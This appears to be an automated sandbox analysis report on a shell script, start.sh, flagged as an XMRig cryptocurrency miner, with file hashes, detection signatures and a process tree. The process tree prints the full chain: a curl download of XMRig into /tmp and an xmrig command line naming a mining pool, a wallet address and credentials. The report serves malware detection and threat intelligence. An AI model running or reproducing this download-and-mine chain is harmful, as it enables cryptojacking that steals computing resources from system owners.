Overview

overview

10

Static

static

1

start.sh

debian-12-armhf

1

start.sh

debian-12-mipsel

10

start.sh

debian-9-armhf

10

start.sh

debian-9-mips

10

start.sh

debian-9-mipsel

10

start.sh

ubuntu-18.04-amd64

10

start.sh

ubuntu-20.04-amd64

3

Analysis

  • max time kernel
    16s
  • max time network
    17s
  • platform
    debian-12_mipsel
  • resource
    debian12-mipsel-20240221-en
  • resource tags

    arch:mipselimage:debian12-mipsel-20240221-enkernel:6.1.0-17-4kc-maltalocale:en-usos:debian-12-mipselsystem
  • submitted
    20-03-2024 21:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    start.sh

  • Size

    587B

  • MD5

    60908850cbaa3ea10f537854675c5017

  • SHA1

    ff4713b46e81dbe16a83efd12b0c274ee8f84893

  • SHA256

    3a9ef4c00e2aa7392ee7694a97369c4704a2558c5e3f60d0d4c08d85edb40415

  • SHA512

    eec5e1b0c381b01b1866925dd5f593ed658215ca88cf9d3eee711e96d6617434896cf12b297e81fbc2e42eb01a474ff92473ac43ad639f23a515a5958084c407

Score
10/10
xmrig_linuxminer

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
    miner
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/start.sh
    /tmp/start.sh
    1⤵
      PID:724
      • /usr/bin/curl
        curl -L https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-static-x64.tar.gz -o xmrig-6.21.1-linux-static-x64.tar.gz
        2⤵
        • Writes file to tmp directory
        PID:729
      • /usr/bin/tar
        tar -xvf xmrig-6.21.1-linux-static-x64.tar.gz
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:787
        • /usr/local/sbin/gzip
          gzip -d
          3⤵
            PID:788
          • /usr/local/bin/gzip
            gzip -d
            3⤵
              PID:788
            • /usr/sbin/gzip
              gzip -d
              3⤵
                PID:788
              • /usr/bin/gzip
                gzip -d
                3⤵
                  PID:788
              • /tmp/xmrig-6.21.1/xmrig
                ./xmrig --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
                2⤵
                • Executes dropped EXE
                PID:789

            Network

            MITRE ATT&CK Matrix

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • /tmp/xmrig-6.21.1-linux-static-x64.tar.gz
              Filesize

              1.8MB

              MD5

              897f81c6ae348064c3883008d6d89428

              SHA1

              311d1485a54fb4c865935a8fc457a865e832f904

              SHA256

              17c2bfccc250421a96987aab331b09043171ab7c3d246a39223c6bc6706bbe19

              SHA512

              f694540ab73f0137c3ca9f0c9d1ee14e7604a531f51b18cc19d1aae8671d50e4aef6f0ec79ef8320ebc2421f881dd2eb7066326a8f3da83f1fddb1974656210d

              Download Submit

            • /tmp/xmrig-6.21.1/SHA256SUMS
              Filesize

              150B

              MD5

              aa5b108a656f868047990ffe924da82b

              SHA1

              118a8199507eb3eb40c03520b5b3b774e86cb40b

              SHA256

              0cd87c42d76e181e459e855fa1be19a8ba0add9378aa25cfa70c815c9b0967dd

              SHA512

              9fc3807efbb407163322bfcdd4415c114013bd2a8f89daca715b2cca2514e9d6f404d42bfd76c141784c64f4594e6bbf4c6551a58691eb961bc6740e15d1800d

              Download Submit

            • /tmp/xmrig-6.21.1/config.json
              Filesize

              2KB

              MD5

              66f38c96a4901e7b345787c447842b3e

              SHA1

              2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

              SHA256

              2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

              SHA512

              71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

              Download Submit

            • /tmp/xmrig-6.21.1/xmrig
              Filesize

              6.7MB

              MD5

              0e59a0f22f4d5720240b143e7752d7d1

              SHA1

              6ad64a0f2c81fd22f40e3d59cb100e8cd8fa2603

              SHA256

              9d4153c85f1315ae08955dc491294749b3603846d2f95de665d4bf655543be03

              SHA512

              277cb607d1e946f2fa9afb04155f0344befbea0da16ddc78f3cc74734920470a6cac843468c1d9bf035b775c097f64802cc5bf5d46a370599ac58364ba5a23fa

              Download Submit